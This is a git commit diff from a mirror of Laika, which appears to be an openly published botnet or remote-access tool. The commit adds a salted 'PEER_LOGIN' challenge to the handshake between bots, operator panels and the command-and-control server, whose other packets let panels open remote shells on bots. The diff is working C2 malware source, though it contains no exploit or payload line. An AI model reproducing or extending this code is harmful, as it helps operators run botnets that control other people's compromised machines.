mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
CNC, Lib, Bot, Shell: New 2nd stage handshake
- New packet, LAIKAPKT_PEER_LOGIN_REQ - All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet - Protcol minor version incremented to 0.4
This commit is contained in:
parent
db05f2eb13
commit
8092a636ca
@ -81,7 +81,7 @@ endif ()
|
|||||||
|
|
||||||
# version details
|
# version details
|
||||||
set(LAIKA_VERSION_MAJOR 0)
|
set(LAIKA_VERSION_MAJOR 0)
|
||||||
set(LAIKA_VERSION_MINOR 3)
|
set(LAIKA_VERSION_MINOR 4)
|
||||||
|
|
||||||
message(STATUS "Building config file...")
|
message(STATUS "Building config file...")
|
||||||
configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/lib/include/lconfig.h)
|
configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/lib/include/lconfig.h)
|
||||||
|
@ -8,10 +8,21 @@
|
|||||||
|
|
||||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
{
|
{
|
||||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
|
||||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||||
|
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
|
||||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||||
|
|
||||||
|
/* set peer salt */
|
||||||
|
laikaS_setSalt(peer, saltBuf);
|
||||||
|
|
||||||
|
/* sent PEER_LOGIN packet */
|
||||||
|
laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ);
|
||||||
|
laikaS_writeByte(&peer->sock, PEER_BOT);
|
||||||
|
laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
laikaS_endOutPacket(peer);
|
||||||
|
|
||||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
|
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
|
||||||
(endianness ? "TRUE" : "FALSE"));
|
(endianness ? "TRUE" : "FALSE"));
|
||||||
}
|
}
|
||||||
@ -29,7 +40,7 @@ void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
|||||||
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
|
||||||
laikaB_handleHandshakeResponse,
|
laikaB_handleHandshakeResponse,
|
||||||
sizeof(uint8_t),
|
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN,
|
||||||
false),
|
false),
|
||||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
|
||||||
laikaB_handlePing,
|
laikaB_handlePing,
|
||||||
|
@ -4,11 +4,10 @@
|
|||||||
#include "cnc.h"
|
#include "cnc.h"
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
|
|
||||||
|
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer);
|
||||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||||
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
|
||||||
void *uData);
|
|
||||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
void *uData);
|
void *uData);
|
||||||
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
|
@ -53,6 +53,7 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell);
|
|||||||
void laikaC_closeShells(struct sLaika_peer *peer);
|
void laikaC_closeShells(struct sLaika_peer *peer);
|
||||||
|
|
||||||
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
|
void laikaC_handlePeerLoginReq(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||||
|
@ -84,12 +84,10 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
|||||||
/* queue response */
|
/* queue response */
|
||||||
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
|
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
|
||||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
||||||
|
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
laikaS_endOutPacket(peer);
|
laikaS_endOutPacket(peer);
|
||||||
|
|
||||||
/* handshake (mostly) complete */
|
/* handshake (mostly) complete, we now wait for the PEER_LOGIN packets */
|
||||||
laikaC_onAddPeer(cnc, peer);
|
|
||||||
|
|
||||||
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
@ -113,9 +111,9 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
|||||||
laikaC_handlePing, \
|
laikaC_handlePing, \
|
||||||
0, \
|
0, \
|
||||||
false), \
|
false), \
|
||||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PEER_LOGIN_REQ, \
|
||||||
laikaC_handleAuthenticatedHandshake, \
|
laikaC_handlePeerLoginReq, \
|
||||||
sizeof(uint8_t), \
|
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \
|
||||||
false)
|
false)
|
||||||
|
|
||||||
struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
|
struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
|
||||||
@ -217,17 +215,21 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
|||||||
int i;
|
int i;
|
||||||
GETPINFOFROMPEER(peer)->completeHandshake = true;
|
GETPINFOFROMPEER(peer)->completeHandshake = true;
|
||||||
|
|
||||||
/* add peer to panels list (if it's a panel) */
|
/* add to peer lookup map */
|
||||||
if (peer->type == PEER_AUTH)
|
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
||||||
laikaC_addAuth(cnc, peer);
|
|
||||||
|
|
||||||
/* notify connected panels of the newly connected peer */
|
/* notify connected panels of the newly connected peer */
|
||||||
for (i = 0; i < cnc->authPeersCount; i++) {
|
for (i = 0; i < cnc->authPeersCount; i++) {
|
||||||
laikaC_sendNewPeer(cnc->authPeers[i], peer);
|
laikaC_sendNewPeer(cnc->authPeers[i], peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* add to peer lookup map */
|
/* add peer to panels list (if it's a panel) */
|
||||||
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
if (peer->type == PEER_AUTH) {
|
||||||
|
laikaC_addAuth(cnc, peer);
|
||||||
|
|
||||||
|
/* send a list of peers */
|
||||||
|
laikaC_sendPeerList(cnc, peer);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||||
|
@ -18,6 +18,11 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||||
|
{
|
||||||
|
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
|
||||||
|
}
|
||||||
|
|
||||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
||||||
{
|
{
|
||||||
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
||||||
@ -46,33 +51,6 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
|||||||
|
|
||||||
/* ================================[[ [Auth] Packet Handlers ]]================================= */
|
/* ================================[[ [Auth] Packet Handlers ]]================================= */
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
|
||||||
void *uData)
|
|
||||||
{
|
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
|
||||||
struct sLaika_cnc *cnc = pInfo->cnc;
|
|
||||||
PEERTYPE type;
|
|
||||||
int i;
|
|
||||||
|
|
||||||
type = laikaS_readByte(&authPeer->sock);
|
|
||||||
switch (type) {
|
|
||||||
case PEER_AUTH:
|
|
||||||
/* check that peer's pubkey is authenticated */
|
|
||||||
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
|
||||||
LAIKA_ERROR("unauthorized panel!\n");
|
|
||||||
|
|
||||||
/* notify cnc */
|
|
||||||
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
|
|
||||||
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
|
|
||||||
|
|
||||||
/* they passed! send list of our peers */
|
|
||||||
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
void *uData)
|
void *uData)
|
||||||
{
|
{
|
||||||
|
@ -129,6 +129,42 @@ void laikaC_closeShells(struct sLaika_peer *peer)
|
|||||||
|
|
||||||
/* ================================[[ [Peer] Packet Handlers ]]================================= */
|
/* ================================[[ [Peer] Packet Handlers ]]================================= */
|
||||||
|
|
||||||
|
void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
|
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
|
||||||
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
||||||
|
PEERTYPE type;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
/* read packet */
|
||||||
|
type = laikaS_readByte(&peer->sock);
|
||||||
|
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
|
||||||
|
/* make sure the sent salt matches our copy (make sure they're not replaying packets) */
|
||||||
|
if (memcmp(saltBuf, peer->salt, LAIKA_HANDSHAKE_SALT_LEN))
|
||||||
|
LAIKA_ERROR("laikaC_handlePeerHandshake: Salt mismatch!\n");
|
||||||
|
|
||||||
|
switch (type) {
|
||||||
|
case PEER_BOT:
|
||||||
|
laikaC_setPeerType(cnc, peer, PEER_BOT);
|
||||||
|
break;
|
||||||
|
case PEER_AUTH:
|
||||||
|
/* check that peer's pubkey is authenticated */
|
||||||
|
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
||||||
|
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
|
||||||
|
|
||||||
|
/* notify cnc */
|
||||||
|
laikaC_setPeerType(cnc, peer, PEER_AUTH);
|
||||||
|
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
LAIKA_ERROR("Unknown peerType [%d]!\n", type);
|
||||||
|
}
|
||||||
|
|
||||||
|
LAIKA_DEBUG("Peer login for %p accepted!\n", peer);
|
||||||
|
}
|
||||||
|
|
||||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
{
|
{
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
|
@ -15,6 +15,8 @@
|
|||||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
|
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
|
||||||
#define LAIKA_MAX_SHELLS 16
|
#define LAIKA_MAX_SHELLS 16
|
||||||
|
|
||||||
|
#define LAIKA_HANDSHAKE_SALT_LEN 32
|
||||||
|
|
||||||
/*
|
/*
|
||||||
first handshake between peer & cnc works as so:
|
first handshake between peer & cnc works as so:
|
||||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
|
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
|
||||||
@ -44,19 +46,29 @@ enum
|
|||||||
* LAIKAPKT_SIZE pktSize;
|
* LAIKAPKT_SIZE pktSize;
|
||||||
* LAIKAPKT_ID pktID;
|
* LAIKAPKT_ID pktID;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
|
LAIKAPKT_HANDSHAKE_REQ,
|
||||||
|
/* first packet sent by peer & received by cnc */
|
||||||
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
|
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
|
||||||
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
||||||
* uint8_t majorVer;
|
* uint8_t majorVer;
|
||||||
* uint8_t minorVer;
|
* uint8_t minorVer;
|
||||||
* uint8_t osType;
|
* uint8_t osType;
|
||||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- peer's public cryptographic key
|
||||||
* nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
|
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
|
||||||
* inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_HANDSHAKE_RES,
|
LAIKAPKT_HANDSHAKE_RES,
|
||||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||||
* uint8_t cncEndian;
|
* uint8_t cncEndian;
|
||||||
|
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
|
||||||
|
*/
|
||||||
|
LAIKAPKT_PEER_LOGIN_REQ,
|
||||||
|
/* second packet sent by peer & received by cnc there is no response packet. the socket
|
||||||
|
connection will be closed if an unexpected peer type is provided. this is to prove that the peer
|
||||||
|
is the public key they say they are. */
|
||||||
|
/* layout of LAIKAPKT_PEER_LOGIN_REQ
|
||||||
|
* uint8_t peerType;
|
||||||
|
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_PINGPONG,
|
LAIKAPKT_PINGPONG,
|
||||||
/* layout of LAIKAPKT_PINGPONG:
|
/* layout of LAIKAPKT_PINGPONG:
|
||||||
@ -78,12 +90,8 @@ enum
|
|||||||
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
||||||
*/
|
*/
|
||||||
/* =======================================[[ Auth ]]======================================== */
|
/* =======================================[[ Auth ]]======================================== */
|
||||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
|
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
|
||||||
there is no response packet */
|
/* notification that a peer has connected to the cnc */
|
||||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
|
||||||
* uint8_t peerType;
|
|
||||||
*/
|
|
||||||
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
|
|
||||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
||||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||||
* char hostname[LAIKA_HOSTNAME_LEN];
|
* char hostname[LAIKA_HOSTNAME_LEN];
|
||||||
@ -92,14 +100,15 @@ enum
|
|||||||
* uint8_t peerType;
|
* uint8_t peerType;
|
||||||
* uint8_t osType;
|
* uint8_t osType;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
|
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
|
||||||
*/
|
/* notification that a peer has disconnected from the cnc */
|
||||||
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
|
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
|
||||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||||
* uint8_t peerType;
|
* uint8_t peerType;
|
||||||
*/
|
*/
|
||||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
|
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
|
||||||
response packet, shell is assumed to be open */
|
/* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be
|
||||||
|
* open */
|
||||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||||
* uint16_t cols;
|
* uint16_t cols;
|
||||||
|
@ -51,6 +51,7 @@ struct sLaika_peer
|
|||||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
||||||
|
uint8_t salt[LAIKA_HANDSHAKE_SALT_LEN]; /* salt passed from the cnc's handshake response */
|
||||||
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
||||||
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
|
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
|
||||||
void *uData; /* data to be passed to pktHandler */
|
void *uData; /* data to be passed to pktHandler */
|
||||||
@ -68,6 +69,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
|
|||||||
void *onPollFailUData, void *uData);
|
void *onPollFailUData, void *uData);
|
||||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||||
|
|
||||||
|
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt);
|
||||||
|
void laikaS_genSalt(struct sLaika_peer *peer);
|
||||||
|
|
||||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
|
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
|
||||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
|
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
|
||||||
LAIKAPKT_ID id); /* for sending packets with no body */
|
LAIKAPKT_ID id); /* for sending packets with no body */
|
||||||
|
@ -6,11 +6,11 @@ const char *laikaD_getPacketName(LAIKAPKT_ID id)
|
|||||||
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
||||||
"LAIKAPKT_HANDSHAKE_REQ",
|
"LAIKAPKT_HANDSHAKE_REQ",
|
||||||
"LAIKAPKT_HANDSHAKE_RES",
|
"LAIKAPKT_HANDSHAKE_RES",
|
||||||
|
"LAIKAPKT_PEER_LOGIN_REQ",
|
||||||
"LAIKAPKT_PINGPONG",
|
"LAIKAPKT_PINGPONG",
|
||||||
"LAIKAPKT_SHELL_OPEN",
|
"LAIKAPKT_SHELL_OPEN",
|
||||||
"LAIKAPKT_SHELL_CLOSE",
|
"LAIKAPKT_SHELL_CLOSE",
|
||||||
"LAIKAPKT_SHELL_DATA",
|
"LAIKAPKT_SHELL_DATA",
|
||||||
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
|
|
||||||
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
||||||
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
||||||
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};
|
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};
|
||||||
|
@ -28,6 +28,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
|
|||||||
memset(peer->inet, 0, LAIKA_INET_LEN);
|
memset(peer->inet, 0, LAIKA_INET_LEN);
|
||||||
memset(peer->ipStr, 0, LAIKA_IPSTR_LEN);
|
memset(peer->ipStr, 0, LAIKA_IPSTR_LEN);
|
||||||
|
|
||||||
|
/* generate peer's salt */
|
||||||
|
laikaS_genSalt(peer);
|
||||||
|
|
||||||
return peer;
|
return peer;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -37,6 +40,16 @@ void laikaS_freePeer(struct sLaika_peer *peer)
|
|||||||
laikaM_free(peer);
|
laikaM_free(peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt)
|
||||||
|
{
|
||||||
|
memcpy(peer->salt, salt, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
}
|
||||||
|
|
||||||
|
void laikaS_genSalt(struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
|
randombytes_buf(peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
}
|
||||||
|
|
||||||
/* ===================================[[ Start/End Packets ]]=================================== */
|
/* ===================================[[ Start/End Packets ]]=================================== */
|
||||||
|
|
||||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||||
|
@ -41,9 +41,21 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1)
|
|||||||
|
|
||||||
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
{
|
{
|
||||||
|
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
|
||||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||||
|
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
|
||||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||||
|
|
||||||
|
/* set peer salt */
|
||||||
|
laikaS_setSalt(peer, saltBuf);
|
||||||
|
|
||||||
|
/* send PEER_LOGIN packet */
|
||||||
|
laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ);
|
||||||
|
laikaS_writeByte(&peer->sock, PEER_AUTH);
|
||||||
|
laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||||
|
laikaS_endOutPacket(peer);
|
||||||
|
|
||||||
PRINTSUCC("Handshake accepted!\n");
|
PRINTSUCC("Handshake accepted!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -155,7 +167,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
|||||||
struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
|
struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
|
||||||
shellC_handleHandshakeRes,
|
shellC_handleHandshakeRes,
|
||||||
sizeof(uint8_t),
|
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN,
|
||||||
false),
|
false),
|
||||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
|
||||||
shellC_handlePing,
|
shellC_handlePing,
|
||||||
@ -280,12 +292,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port)
|
|||||||
laikaS_endOutPacket(client->peer);
|
laikaS_endOutPacket(client->peer);
|
||||||
laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */
|
laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */
|
||||||
|
|
||||||
/* queue authenticated handshake request */
|
/* the handshake request will be sent on the next call to shellC_poll */
|
||||||
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ);
|
|
||||||
laikaS_writeByte(sock, PEER_AUTH);
|
|
||||||
laikaS_endOutPacket(client->peer);
|
|
||||||
|
|
||||||
/* the handshake requests will be sent on the next call to shellC_poll */
|
|
||||||
}
|
}
|
||||||
|
|
||||||
bool shellC_poll(tShell_client *client, int timeout)
|
bool shellC_poll(tShell_client *client, int timeout)
|
||||||
|
